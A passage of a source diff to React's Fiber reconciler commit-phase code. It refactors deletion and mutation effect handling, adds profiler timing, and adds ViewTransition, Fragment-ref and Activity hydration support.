-    const stateNode = node.stateNode;
-    if (before) {
-      insertInContainerBefore(parent, stateNode, before);
-    } else {
-      appendChildToContainer(parent, stateNode);
-    }
-  } else if (
-    tag === HostPortal ||
-    (supportsSingletons ? tag === HostSingleton : false)
-  ) {
-    // If the insertion itself is a portal, then we don't want to traverse
-    // down its children. Instead, we'll get insertions from each child in
-    // the portal directly.
-    // If the insertion is a HostSingleton then it will be placed independently
-  } else {
-    const child = node.child;
-    if (child !== null) {
-      insertOrAppendPlacementNodeIntoContainer(child, before, parent);
-      let sibling = child.sibling;
-      while (sibling !== null) {
-        insertOrAppendPlacementNodeIntoContainer(sibling, before, parent);
-        sibling = sibling.sibling;
-      }
-    }
-  }
-}
-
-function insertOrAppendPlacementNode(
-  node: Fiber,
-  before: ?Instance,
-  parent: Instance,
-): void {
-  const {tag} = node;
-  const isHost = tag === HostComponent || tag === HostText;
-  if (isHost) {
-    const stateNode = node.stateNode;
-    if (before) {
-      insertBefore(parent, stateNode, before);
-    } else {
-      appendChild(parent, stateNode);
-    }
-  } else if (
-    tag === HostPortal ||
-    (supportsSingletons ? tag === HostSingleton : false)
-  ) {
-    // If the insertion itself is a portal, then we don't want to traverse
-    // down its children. Instead, we'll get insertions from each child in
-    // the portal directly.
-    // If the insertion is a HostSingleton then it will be placed independently
-  } else {
-    const child = node.child;
-    if (child !== null) {
-      insertOrAppendPlacementNode(child, before, parent);
-      let sibling = child.sibling;
-      while (sibling !== null) {
-        insertOrAppendPlacementNode(sibling, before, parent);
-        sibling = sibling.sibling;
-      }
-    }
-  }
-}
-
 // These are tracked on the stack as we recursively traverse a
 // deleted subtree.
 // TODO: Update these during the whole mutation phase, not just during
@@ -1922,6 +1364,8 @@ function commitDeletionEffects(
   returnFiber: Fiber,
   deletedFiber: Fiber,
 ) {
+  const prevEffectStart = pushComponentEffectStart();
+
   if (supportsMutation) {
     // We only have the top Fiber that was deleted but we need to recurse down its
     // children to find all the terminal nodes.
@@ -1944,17 +1388,23 @@ function commitDeletionEffects(
     let parent: null | Fiber = returnFiber;
     findParent: while (parent !== null) {
       switch (parent.tag) {
-        case HostSingleton:
+        case HostSingleton: {
+          if (supportsSingletons) {
+            if (isSingletonScope(parent.type)) {
+              hostParent = parent.stateNode;
+              hostParentIsContainer = false;
+              break findParent;
+            }
+            break;
+          }
+          // Expected fallthrough when supportsSingletons is false
+        }
         case HostComponent: {
           hostParent = parent.stateNode;
           hostParentIsContainer = false;
           break findParent;
         }
-        case HostRoot: {
-          hostParent = parent.stateNode.containerInfo;
-          hostParentIsContainer = true;
-          break findParent;
-        }
+        case HostRoot:
         case HostPortal: {
           hostParent = parent.stateNode.containerInfo;
           hostParentIsContainer = true;
@@ -1978,6 +1428,23 @@ function commitDeletionEffects(
     commitDeletionEffectsOnFiber(root, returnFiber, deletedFiber);
   }
 
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (deletedFiber.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0 &&
+    componentEffectEndTime - componentEffectStartTime > 0.05
+  ) {
+    logComponentUnmount(
+      deletedFiber,
+      componentEffectStartTime,
+      componentEffectEndTime,
+    );
+  }
+  popComponentEffectStart(prevEffectStart);
+
   detachFiberMutation(deletedFiber);
 }
 
@@ -1999,8 +1466,14 @@ function commitDeletionEffectsOnFiber(
   nearestMountedAncestor: Fiber,
   deletedFiber: Fiber,
 ) {
+  // TODO: Delete this Hook once new DevTools ships everywhere. No longer needed.
   onCommitUnmount(deletedFiber);
 
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
+
   // The cases in this outer switch modify the stack before they traverse
   // into their subtree. There are simpler cases in the inner switch
   // that don't modify the stack.
@@ -2020,7 +1493,7 @@ function commitDeletionEffectsOnFiber(
         } else if (deletedFiber.stateNode) {
           unmountHoistable(deletedFiber.stateNode);
         }
-        return;
+        break;
       }
       // Fall through
     }
@@ -2032,7 +1505,10 @@ function commitDeletionEffectsOnFiber(
 
         const prevHostParent = hostParent;
         const prevHostParentIsContainer = hostParentIsContainer;
-        hostParent = deletedFiber.stateNode;
+        if (isSingletonScope(deletedFiber.type)) {
+          hostParent = deletedFiber.stateNode;
+          hostParentIsContainer = false;
+        }
         recursivelyTraverseDeletionEffects(
           finishedRoot,
           nearestMountedAncestor,
@@ -2044,12 +1520,12 @@ function commitDeletionEffectsOnFiber(
         // a different fiber. To increase our chances of avoiding this, specifically
         // if you keyed a HostSingleton so there will be a delete followed by a Placement
         // we treat detach eagerly here
-        releaseSingletonInstance(deletedFiber.stateNode);
+        commitHostSingletonRelease(deletedFiber);
 
         hostParent = prevHostParent;
         hostParentIsContainer = prevHostParentIsContainer;
 
-        return;
+        break;
       }
       // Fall through
     }
@@ -2057,6 +1533,13 @@ function commitDeletionEffectsOnFiber(
       if (!offscreenSubtreeWasHidden) {
         safelyDetachRef(deletedFiber, nearestMountedAncestor);
       }
+      if (
+        enableFragmentRefs &&
+        (deletedFiber.tag === HostComponent ||
+          (enableFragmentRefsTextNodes && deletedFiber.tag === HostText))
+      ) {
+        commitFragmentInstanceDeletionEffects(deletedFiber);
+      }
       // Intentional fallthrough to next branch
     }
     case HostText: {
@@ -2079,12 +1562,16 @@ function commitDeletionEffectsOnFiber(
           // Now that all the child effects have unmounted, we can remove the
           // node from the tree.
           if (hostParentIsContainer) {
-            removeChildFromContainer(
+            commitHostRemoveChildFromContainer(
+              deletedFiber,
+              nearestMountedAncestor,
               ((hostParent: any): Container),
               (deletedFiber.stateNode: Instance | TextInstance),
             );
           } else {
-            removeChild(
+            commitHostRemoveChild(
+              deletedFiber,
+              nearestMountedAncestor,
               ((hostParent: any): Instance),
               (deletedFiber.stateNode: Instance | TextInstance),
             );
@@ -2097,15 +1584,25 @@ function commitDeletionEffectsOnFiber(
           deletedFiber,
         );
       }
-      return;
+      break;
     }
     case DehydratedFragment: {
       if (enableSuspenseCallback) {
         const hydrationCallbacks = finishedRoot.hydrationCallbacks;
         if (hydrationCallbacks !== null) {
-          const onDeleted = hydrationCallbacks.onDeleted;
-          if (onDeleted) {
-            onDeleted((deletedFiber.stateNode: SuspenseInstance));
+          try {
+            const onDeleted = hydrationCallbacks.onDeleted;
+            if (onDeleted) {
+              onDeleted(
+                (deletedFiber.stateNode: SuspenseInstance | ActivityInstance),
+              );
+            }
+          } catch (error) {
+            captureCommitPhaseError(
+              deletedFiber,
+              nearestMountedAncestor,
+              error,
+            );
           }
         }
       }
@@ -2128,7 +1625,7 @@ function commitDeletionEffectsOnFiber(
           }
         }
       }
-      return;
+      break;
     }
     case HostPortal: {
       if (supportsMutation) {
@@ -2145,7 +1642,13 @@ function commitDeletionEffectsOnFiber(
         hostParent = prevHostParent;
         hostParentIsContainer = prevHostParentIsContainer;
       } else {
-        emptyPortalContainer(deletedFiber);
+        if (supportsPersistence) {
+          commitHostPortalContainerChildren(
+            deletedFiber.stateNode,
+            deletedFiber,
+            createContainerChildSet(),
+          );
+        }
 
         recursivelyTraverseDeletionEffects(
           finishedRoot,
@@ -2153,73 +1656,31 @@ function commitDeletionEffectsOnFiber(
           deletedFiber,
         );
       }
-      return;
+      break;
     }
     case FunctionComponent:
     case ForwardRef:
     case MemoComponent:
     case SimpleMemoComponent: {
+      // TODO: Use a commitHookInsertionUnmountEffects wrapper to record timings.
+      commitHookEffectListUnmount(
+        HookInsertion,
+        deletedFiber,
+        nearestMountedAncestor,
+      );
       if (!offscreenSubtreeWasHidden) {
-        const updateQueue: FunctionComponentUpdateQueue | null =
-          (deletedFiber.updateQueue: any);
-        if (updateQueue !== null) {
-          const lastEffect = updateQueue.lastEffect;
-          if (lastEffect !== null) {
-            const firstEffect = lastEffect.next;
-
-            let effect = firstEffect;
-            do {
-              const tag = effect.tag;
-              const inst = effect.inst;
-              const destroy = inst.destroy;
-              if (destroy !== undefined) {
-                if ((tag & HookInsertion) !== NoHookEffect) {
-                  inst.destroy = undefined;
-                  safelyCallDestroy(
-                    deletedFiber,
-                    nearestMountedAncestor,
-                    destroy,
-                  );
-                } else if ((tag & HookLayout) !== NoHookEffect) {
-                  if (enableSchedulingProfiler) {
-                    markComponentLayoutEffectUnmountStarted(deletedFiber);
-                  }
-
-                  if (shouldProfile(deletedFiber)) {
-                    startLayoutEffectTimer();
-                    inst.destroy = undefined;
-                    safelyCallDestroy(
-                      deletedFiber,
-                      nearestMountedAncestor,
-                      destroy,
-                    );
-                    recordLayoutEffectDuration(deletedFiber);
-                  } else {
-                    inst.destroy = undefined;
-                    safelyCallDestroy(
-                      deletedFiber,
-                      nearestMountedAncestor,
-                      destroy,
-                    );
-                  }
-
-                  if (enableSchedulingProfiler) {
-                    markComponentLayoutEffectUnmountStopped();
-                  }
-                }
-              }
-              effect = effect.next;
-            } while (effect !== firstEffect);
-          }
-        }
+        commitHookLayoutUnmountEffects(
+          deletedFiber,
+          nearestMountedAncestor,
+          HookLayout,
+        );
       }
-
       recursivelyTraverseDeletionEffects(
         finishedRoot,
         nearestMountedAncestor,
         deletedFiber,
       );
-      return;
+      break;
     }
     case ClassComponent: {
       if (!offscreenSubtreeWasHidden) {
@@ -2238,21 +1699,22 @@ function commitDeletionEffectsOnFiber(
         nearestMountedAncestor,
         deletedFiber,
       );
-      return;
+      break;
     }
     case ScopeComponent: {
       if (enableScopeAPI) {
-        safelyDetachRef(deletedFiber, nearestMountedAncestor);
+        if (!offscreenSubtreeWasHidden) {
+          safelyDetachRef(deletedFiber, nearestMountedAncestor);
+        }
       }
       recursivelyTraverseDeletionEffects(
         finishedRoot,
         nearestMountedAncestor,
         deletedFiber,
       );
-      return;
+      break;
     }
     case OffscreenComponent: {
-      safelyDetachRef(deletedFiber, nearestMountedAncestor);
       if (disableLegacyMode || deletedFiber.mode & ConcurrentMode) {
         // If this offscreen component is hidden, we already unmounted it. Before
         // deleting the children, track that it's already unmounted so that we
@@ -2282,18 +1744,73 @@ function commitDeletionEffectsOnFiber(
       }
       break;
     }
+    case ViewTransitionComponent: {
+      if (enableViewTransition) {
+        if (__DEV__) {
+          if (deletedFiber.flags & ViewTransitionNamedStatic) {
+            untrackNamedViewTransition(deletedFiber);
+          }
+        }
+        safelyDetachRef(deletedFiber, nearestMountedAncestor);
+        recursivelyTraverseDeletionEffects(
+          finishedRoot,
+          nearestMountedAncestor,
+          deletedFiber,
+        );
+        break;
+      }
+      // Fallthrough
+    }
+    case Fragment: {
+      if (enableFragmentRefs) {
+        if (!offscreenSubtreeWasHidden) {
+          safelyDetachRef(deletedFiber, nearestMountedAncestor);
+        }
+        recursivelyTraverseDeletionEffects(
+          finishedRoot,
+          nearestMountedAncestor,
+          deletedFiber,
+        );
+        break;
+      }
+      // Fallthrough
+    }
     default: {
       recursivelyTraverseDeletionEffects(
         finishedRoot,
         nearestMountedAncestor,
         deletedFiber,
       );
-      return;
+      break;
     }
   }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (deletedFiber.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0 &&
+    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)
+  ) {
+    logComponentEffect(
+      deletedFiber,
+      componentEffectStartTime,
+      componentEffectEndTime,
+      componentEffectDuration,
+      componentEffectErrors,
+    );
+  }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectErrors(prevEffectErrors);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
 }
+
 function commitSuspenseCallback(finishedWork: Fiber) {
-  // TODO: Move this to passive phase
+  // TODO: Delete this feature. It's not properly covered by DEV features.
   const newState: SuspenseState | null = finishedWork.memoizedState;
   if (enableSuspenseCallback && newState !== null) {
     const suspenseCallback = finishedWork.memoizedProps.suspenseCallback;
@@ -2310,6 +1827,40 @@ function commitSuspenseCallback(finishedWork: Fiber) {
   }
 }
 
+function commitActivityHydrationCallbacks(
+  finishedRoot: FiberRoot,
+  finishedWork: Fiber,
+) {
+  if (!supportsHydration) {
+    return;
+  }
+  const newState: ActivityState | null = finishedWork.memoizedState;
+  if (newState === null) {
+    const current = finishedWork.alternate;
+    if (current !== null) {
+      const prevState: ActivityState | null = current.memoizedState;
+      if (prevState !== null) {
+        const activityInstance = prevState.dehydrated;
+        commitHostHydratedActivity(activityInstance, finishedWork);
+        if (enableSuspenseCallback) {
+          try {
+            // TODO: Delete this feature. It's not properly covered by DEV features.
+            const hydrationCallbacks = finishedRoot.hydrationCallbacks;
+            if (hydrationCallbacks !== null) {
+              const onHydrated = hydrationCallbacks.onHydrated;
+              if (onHydrated) {
+                onHydrated(activityInstance);
+              }
+            }
+          } catch (error) {
+            captureCommitPhaseError(finishedWork, finishedWork.return, error);
+          }
+        }
+      }
+    }
+  }
+}
+
 function commitSuspenseHydrationCallbacks(
   finishedRoot: FiberRoot,
   finishedWork: Fiber,
@@ -2325,9 +1876,10 @@ function commitSuspenseHydrationCallbacks(
       if (prevState !== null) {
         const suspenseInstance = prevState.dehydrated;
         if (suspenseInstance !== null) {
-          try {
-            commitHydratedSuspenseInstance(suspenseInstance);
-            if (enableSuspenseCallback) {
+          commitHostHydratedSuspense(suspenseInstance, finishedWork);
+          if (enableSuspenseCallback) {
+            try {
+              // TODO: Delete this feature. It's not properly covered by DEV features.
               const hydrationCallbacks = finishedRoot.hydrationCallbacks;
               if (hydrationCallbacks !== null) {
                 const onHydrated = hydrationCallbacks.onHydrated;
@@ -2335,9 +1887,9 @@ function commitSuspenseHydrationCallbacks(
                   onHydrated(suspenseInstance);
                 }
               }
+            } catch (error) {
+              captureCommitPhaseError(finishedWork, finishedWork.return, error);
             }
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
           }
         }
       }
@@ -2349,6 +1901,7 @@ function getRetryCache(finishedWork: Fiber) {
   // TODO: Unify the interface for the retry cache so we don't have to switch
   // on the tag like this.
   switch (finishedWork.tag) {
+    case ActivityComponent:
     case SuspenseComponent:
     case SuspenseListComponent: {
       let retryCache = finishedWork.stateNode;
@@ -2375,48 +1928,6 @@ function getRetryCache(finishedWork: Fiber) {
   }
 }
 
-export function detachOffscreenInstance(instance: OffscreenInstance): void {
-  const fiber = instance._current;
-  if (fiber === null) {
-    throw new Error(
-      'Calling Offscreen.detach before instance handle has been set.',
-    );
-  }
-
-  if ((instance._pendingVisibility & OffscreenDetached) !== NoFlags) {
-    // The instance is already detached, this is a noop.
-    return;
-  }
-
-  // TODO: There is an opportunity to optimise this by not entering commit phase
-  // and unmounting effects directly.
-  const root = enqueueConcurrentRenderForLane(fiber, SyncLane);
-  if (root !== null) {
-    instance._pendingVisibility |= OffscreenDetached;
-    scheduleUpdateOnFiber(root, fiber, SyncLane);
-  }
-}
-
-export function attachOffscreenInstance(instance: OffscreenInstance): void {
-  const fiber = instance._current;
-  if (fiber === null) {
-    throw new Error(
-      'Calling Offscreen.detach before instance handle has been set.',
-    );
-  }
-
-  if ((instance._pendingVisibility & OffscreenDetached) === NoFlags) {
-    // The instance is already attached, this is a noop.
-    return;
-  }
-
-  const root = enqueueConcurrentRenderForLane(fiber, SyncLane);
-  if (root !== null) {
-    instance._pendingVisibility &= ~OffscreenDetached;
-    scheduleUpdateOnFiber(root, fiber, SyncLane);
-  }
-}
-
 function attachSuspenseRetryListeners(
   finishedWork: Fiber,
   wakeables: RetryQueue,
@@ -2427,7 +1938,6 @@ function attachSuspenseRetryListeners(
   const retryCache = getRetryCache(finishedWork);
   wakeables.forEach(wakeable => {
     // Memoize using the boundary fiber to prevent redundant listeners.
-    const retry = resolveRetryWakeable.bind(null, finishedWork, wakeable);
     if (!retryCache.has(wakeable)) {
       retryCache.add(wakeable);
 
@@ -2444,6 +1954,7 @@ function attachSuspenseRetryListeners(
         }
       }
 
+      const retry = resolveRetryWakeable.bind(null, finishedWork, wakeable);
       wakeable.then(retry, retry);
     }
   });
@@ -2452,7 +1963,7 @@ function attachSuspenseRetryListeners(
 // This function detects when a Suspense boundary goes from visible to hidden.
 // It returns false if the boundary is already hidden.
 // TODO: Use an effect tag.
-export function isSuspenseBoundaryBeingHidden(
+function isSuspenseBoundaryBeingHidden(
   current: Fiber | null,
   finishedWork: Fiber,
 ): boolean {
@@ -2474,17 +1985,12 @@ export function commitMutationEffects(
   inProgressLanes = committedLanes;
   inProgressRoot = root;
 
-  if (__DEV__) {
-    runWithFiberInDEV(
-      finishedWork,
-      commitMutationEffectsOnFiber,
-      finishedWork,
-      root,
-      committedLanes,
-    );
-  } else {
-    commitMutationEffectsOnFiber(finishedWork, root, committedLanes);
-  }
+  rootViewTransitionAffected = false;
+  inUpdateViewTransition = false;
+
+  resetComponentEffectTimers();
+
+  commitMutationEffectsOnFiber(finishedWork, root, committedLanes);
 
   inProgressLanes = null;
   inProgressRoot = null;
@@ -2496,33 +2002,19 @@ function recursivelyTraverseMutationEffects(
   lanes: Lanes,
 ) {
   // Deletions effects can be scheduled on any fiber type. They need to happen
-  // before the children effects hae fired.
+  // before the children effects have fired.
   const deletions = parentFiber.deletions;
   if (deletions !== null) {
     for (let i = 0; i < deletions.length; i++) {
       const childToDelete = deletions[i];
-      try {
-        commitDeletionEffects(root, parentFiber, childToDelete);
-      } catch (error) {
-        captureCommitPhaseError(childToDelete, parentFiber, error);
-      }
+      commitDeletionEffects(root, parentFiber, childToDelete);
     }
   }
 
-  if (parentFiber.subtreeFlags & MutationMask) {
+  if (parentFiber.subtreeFlags & (MutationMask | Cloned)) {
     let child = parentFiber.child;
     while (child !== null) {
-      if (__DEV__) {
-        runWithFiberInDEV(
-          child,
-          commitMutationEffectsOnFiber,
-          child,
-          root,
-          lanes,
-        );
-      } else {
-        commitMutationEffectsOnFiber(child, root, lanes);
-      }
+      commitMutationEffectsOnFiber(child, root, lanes);
       child = child.sibling;
     }
   }
@@ -2535,6 +2027,10 @@ function commitMutationEffectsOnFiber(
   root: FiberRoot,
   lanes: Lanes,
 ) {
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
   const current = finishedWork.alternate;
   const flags = finishedWork.flags;
 
@@ -2546,60 +2042,49 @@ function commitMutationEffectsOnFiber(
     case ForwardRef:
     case MemoComponent:
     case SimpleMemoComponent: {
+      // Mutate event effect callbacks on the way down, before mutation effects.
+      // This ensures that parent event effects are mutated before child effects.
+      // This isn't a supported use case, so we can re-consider it,
+      // but this was the behavior we originally shipped.
+      if (enableEffectEventMutationPhase) {
+        if (flags & Update) {
+          const updateQueue: FunctionComponentUpdateQueue | null =
+            (finishedWork.updateQueue: any);
+          const eventPayloads =
+            updateQueue !== null ? updateQueue.events : null;
+          if (eventPayloads !== null) {
+            for (let ii = 0; ii < eventPayloads.length; ii++) {
+              const {ref, nextImpl} = eventPayloads[ii];
+              ref.impl = nextImpl;
+            }
+          }
+        }
+      }
       recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-      commitReconciliationEffects(finishedWork);
+      commitReconciliationEffects(finishedWork, lanes);
 
       if (flags & Update) {
-        try {
-          commitHookEffectListUnmount(
-            HookInsertion | HookHasEffect,
-            finishedWork,
-            finishedWork.return,
-          );
-          commitHookEffectListMount(
-            HookInsertion | HookHasEffect,
-            finishedWork,
-          );
-        } catch (error) {
-          captureCommitPhaseError(finishedWork, finishedWork.return, error);
-        }
-        // Layout effects are destroyed during the mutation phase so that all
-        // destroy functions for all fibers are called before any create functions.
-        // This prevents sibling component effects from interfering with each other,
-        // e.g. a destroy function in one component should never override a ref set
-        // by a create function in another component during the same commit.
-        if (shouldProfile(finishedWork)) {
-          try {
-            startLayoutEffectTimer();
-            commitHookEffectListUnmount(
-              HookLayout | HookHasEffect,
-              finishedWork,
-              finishedWork.return,
-            );
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
-          }
-          recordLayoutEffectDuration(finishedWork);
-        } else {
-          try {
-            commitHookEffectListUnmount(
-              HookLayout | HookHasEffect,
-              finishedWork,
-              finishedWork.return,
-            );
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
-          }
-        }
+        commitHookEffectListUnmount(
+          HookInsertion | HookHasEffect,
+          finishedWork,
+          finishedWork.return,
+        );
+        // TODO: Use a commitHookInsertionUnmountEffects wrapper to record timings.
+        commitHookEffectListMount(HookInsertion | HookHasEffect, finishedWork);
+        commitHookLayoutUnmountEffects(
+          finishedWork,
+          finishedWork.return,
+          HookLayout | HookHasEffect,
+        );
       }
-      return;
+      break;
     }
     case ClassComponent: {
       recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-      commitReconciliationEffects(finishedWork);
+      commitReconciliationEffects(finishedWork, lanes);
 
       if (flags & Ref) {
-        if (current !== null) {
+        if (!offscreenSubtreeWasHidden && current !== null) {
           safelyDetachRef(current, current.return);
         }
       }
@@ -2611,7 +2096,7 @@ function commitMutationEffectsOnFiber(
           deferHiddenCallbacks(updateQueue);
         }
       }
-      return;
+      break;
     }
     case HostHoistable: {
       if (supportsResources) {
@@ -2619,10 +2104,10 @@ function commitMutationEffectsOnFiber(
         // null while we are processing mutation effects
         const hoistableRoot: HoistableRoot = (currentHoistableRoot: any);
         recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-        commitReconciliationEffects(finishedWork);
+        commitReconciliationEffects(finishedWork, lanes);
 
         if (flags & Ref) {
-          if (current !== null) {
+          if (!offscreenSubtreeWasHidden && current !== null) {
             safelyDetachRef(current, current.return);
           }
         }
@@ -2680,49 +2165,48 @@ function commitMutationEffectsOnFiber(
               );
             }
           } else if (newResource === null && finishedWork.stateNode !== null) {
-            try {
-              commitUpdate(
-                finishedWork.stateNode,
-                finishedWork.type,
-                current.memoizedProps,
-                finishedWork.memoizedProps,
-                finishedWork,
-              );
-            } catch (error) {
-              captureCommitPhaseError(finishedWork, finishedWork.return, error);
-            }
+            commitHostUpdate(
+              finishedWork,
+              finishedWork.memoizedProps,
+              current.memoizedProps,
+            );
           }
         }
-        return;
+        break;
       }
       // Fall through
     }
     case HostSingleton: {
       if (supportsSingletons) {
-        if (flags & Update) {
-          const previousWork = finishedWork.alternate;
-          if (previousWork === null) {
-            const singleton = finishedWork.stateNode;
-            const props = finishedWork.memoizedProps;
-            // This was a new mount, we need to clear and set initial properties
-            clearSingleton(singleton);
-            acquireSingletonInstance(
-              finishedWork.type,
-              props,
-              singleton,
-              finishedWork,
-            );
+        recursivelyTraverseMutationEffects(root, finishedWork, lanes);
+        commitReconciliationEffects(finishedWork, lanes);
+        if (flags & Ref) {
+          if (!offscreenSubtreeWasHidden && current !== null) {
+            safelyDetachRef(current, current.return);
           }
         }
+        if (current !== null && flags & Update) {
+          const newProps = finishedWork.memoizedProps;
+          const oldProps = current.memoizedProps;
+          commitHostUpdate(finishedWork, newProps, oldProps);
+        }
+        break;
       }
       // Fall through
     }
     case HostComponent: {
+      // We've hit a host component, so it's no longer a direct parent.
+      const prevOffscreenDirectParentIsHidden = offscreenDirectParentIsHidden;
+      offscreenDirectParentIsHidden = false;
+
       recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-      commitReconciliationEffects(finishedWork);
+
+      offscreenDirectParentIsHidden = prevOffscreenDirectParentIsHidden;
+
+      commitReconciliationEffects(finishedWork, lanes);
 
       if (flags & Ref) {
-        if (current !== null) {
+        if (!offscreenSubtreeWasHidden && current !== null) {
           safelyDetachRef(current, current.return);
         }
       }
@@ -2734,30 +2218,20 @@ function commitMutationEffectsOnFiber(
         // rely on mutating the flag during commit. Like by setting a flag
         // during the render phase instead.
         if (finishedWork.flags & ContentReset) {
-          const instance: Instance = finishedWork.stateNode;
-          try {
-            resetTextContent(instance);
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
-          }
+          commitHostResetTextContent(finishedWork);
         }
 
         if (flags & Update) {
           const instance: Instance = finishedWork.stateNode;
           if (instance != null) {
             // Commit the work prepared earlier.
-            const newProps = finishedWork.memoizedProps;
             // For hydration we reuse the update path but we treat the oldProps
             // as the newProps. The updatePayload will contain the real change in
             // this case.
+            const newProps = finishedWork.memoizedProps;
             const oldProps =
               current !== null ? current.memoizedProps : newProps;
-            const type = finishedWork.type;
-            try {
-              commitUpdate(instance, type, oldProps, newProps, finishedWork);
-            } catch (error) {
-              captureCommitPhaseError(finishedWork, finishedWork.return, error);
-            }
+            commitHostUpdate(finishedWork, newProps, oldProps);
           }
         }
 
@@ -2774,12 +2248,26 @@ function commitMutationEffectsOnFiber(
             }
           }
         }
+      } else {
+        if (enableEagerAlternateStateNodeCleanup) {
+          if (supportsPersistence) {
+            if (finishedWork.alternate !== null) {
+              // `finishedWork.alternate.stateNode` is pointing to a stale shadow
+              // node at this point, retaining it and its subtree. To reclaim
+              // memory, point `alternate.stateNode` to new shadow node. This
+              // prevents shadow node from staying in memory longer than it
+              // needs to. The correct behaviour of this is checked by test in
+              // React Native: ShadowNodeReferenceCounter-itest.js#L150
+              finishedWork.alternate.stateNode = finishedWork.stateNode;
+            }
+          }
+        }
       }
-      return;
+      break;
     }
     case HostText: {
       recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-      commitReconciliationEffects(finishedWork);
+      commitReconciliationEffects(finishedWork, lanes);
 
       if (flags & Update) {
         if (supportsMutation) {
@@ -2790,7 +2278,6 @@ function commitMutationEffectsOnFiber(
             );
           }
 
-          const textInstance: TextInstance = finishedWork.stateNode;
           const newText: string = finishedWork.memoizedProps;
           // For hydration we reuse the update path but we treat the oldProps
           // as the newProps. The updatePayload will contain the real change in
@@ -2798,16 +2285,15 @@ function commitMutationEffectsOnFiber(
           const oldText: string =
             current !== null ? current.memoizedProps : newText;
 
-          try {
-            commitTextUpdate(textInstance, oldText, newText);
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
-          }
+          commitHostTextUpdate(finishedWork, newText, oldText);
         }
       }
-      return;
+      break;
     }
     case HostRoot: {
+      const prevProfilerEffectDuration = pushNestedEffectDurations();
+
+      pushRootMutationContext();
       if (supportsResources) {
         prepareToCommitHoistables();
 
@@ -2817,10 +2303,10 @@ function commitMutationEffectsOnFiber(
         recursivelyTraverseMutationEffects(root, finishedWork, lanes);
         currentHoistableRoot = previousHoistableRoot;
 
-        commitReconciliationEffects(finishedWork);
+        commitReconciliationEffects(finishedWork, lanes);
       } else {
         recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-        commitReconciliationEffects(finishedWork);
+        commitReconciliationEffects(finishedWork, lanes);
       }
 
       if (flags & Update) {
@@ -2828,26 +2314,12 @@ function commitMutationEffectsOnFiber(
           if (current !== null) {
             const prevRootState: RootState = current.memoizedState;
             if (prevRootState.isDehydrated) {
-              try {
-                commitHydratedContainer(root.containerInfo);
-              } catch (error) {
-                captureCommitPhaseError(
-                  finishedWork,
-                  finishedWork.return,
-                  error,
-                );
-              }
+              commitHostHydratedContainer(root, finishedWork);
             }
           }
         }
         if (supportsPersistence) {
-          const containerInfo = root.containerInfo;
-          const pendingChildren = root.pendingChildren;
-          try {
-            replaceContainerChildren(containerInfo, pendingChildren);
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
-          }
+          commitHostRootContainerChildren(root, finishedWork);
         }
       }
 
@@ -2865,39 +2337,101 @@ function commitMutationEffectsOnFiber(
         recursivelyResetForms(finishedWork);
       }
 
-      return;
+      if (enableProfilerTimer && enableProfilerCommitHooks) {
+        root.effectDuration += popNestedEffectDurations(
+          prevProfilerEffectDuration,
+        );
+      }
+
+      popMutationContext(false);
+
+      if (
+        enableDefaultTransitionIndicator &&
+        rootMutationContext &&
+        includesLoadingIndicatorLanes(lanes)
+      ) {
+        // This root had a mutation. Mark this root as having rendered a manual
+        // loading state.
+        markIndicatorHandled(root);
+      }
+
+      break;
     }
     case HostPortal: {
+      // For the purposes of visibility toggling, the direct children of a
+      // portal are considered "children" of the nearest hidden
+      // OffscreenComponent, regardless of whether there are any host components
+      // in between them. This is because portals are not part of the regular
+      // host tree hierarchy; we can't assume that just because a portal's
+      // HostComponent parent in the React tree will also be a parent in the
+      // actual host tree. So we must hide all of them.
+      const prevOffscreenDirectParentIsHidden = offscreenDirectParentIsHidden;
+      offscreenDirectParentIsHidden = offscreenSubtreeIsHidden;
+      const prevMutationContext = pushMutationContext();
       if (supportsResources) {
         const previousHoistableRoot = currentHoistableRoot;
         currentHoistableRoot = getHoistableRoot(
           finishedWork.stateNode.containerInfo,
         );
         recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-        commitReconciliationEffects(finishedWork);
+        commitReconciliationEffects(finishedWork, lanes);
         currentHoistableRoot = previousHoistableRoot;
       } else {
         recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-        commitReconciliationEffects(finishedWork);
+        commitReconciliationEffects(finishedWork, lanes);
+      }
+      if (viewTransitionMutationContext && inUpdateViewTransition) {
+        // A Portal doesn't necessarily exist within the context of this subtree.
+        // Ideally we would track which React ViewTransition component nests the container
+        // but that's costly. Instead, we treat each Portal as if it's a new React root.
+        // Therefore any leaked mutation means that the root should animate.
+        rootViewTransitionAffected = true;
       }
+      popMutationContext(prevMutationContext);
+      offscreenDirectParentIsHidden = prevOffscreenDirectParentIsHidden;
 
       if (flags & Update) {
         if (supportsPersistence) {
-          const portal = finishedWork.stateNode;
-          const containerInfo = portal.containerInfo;
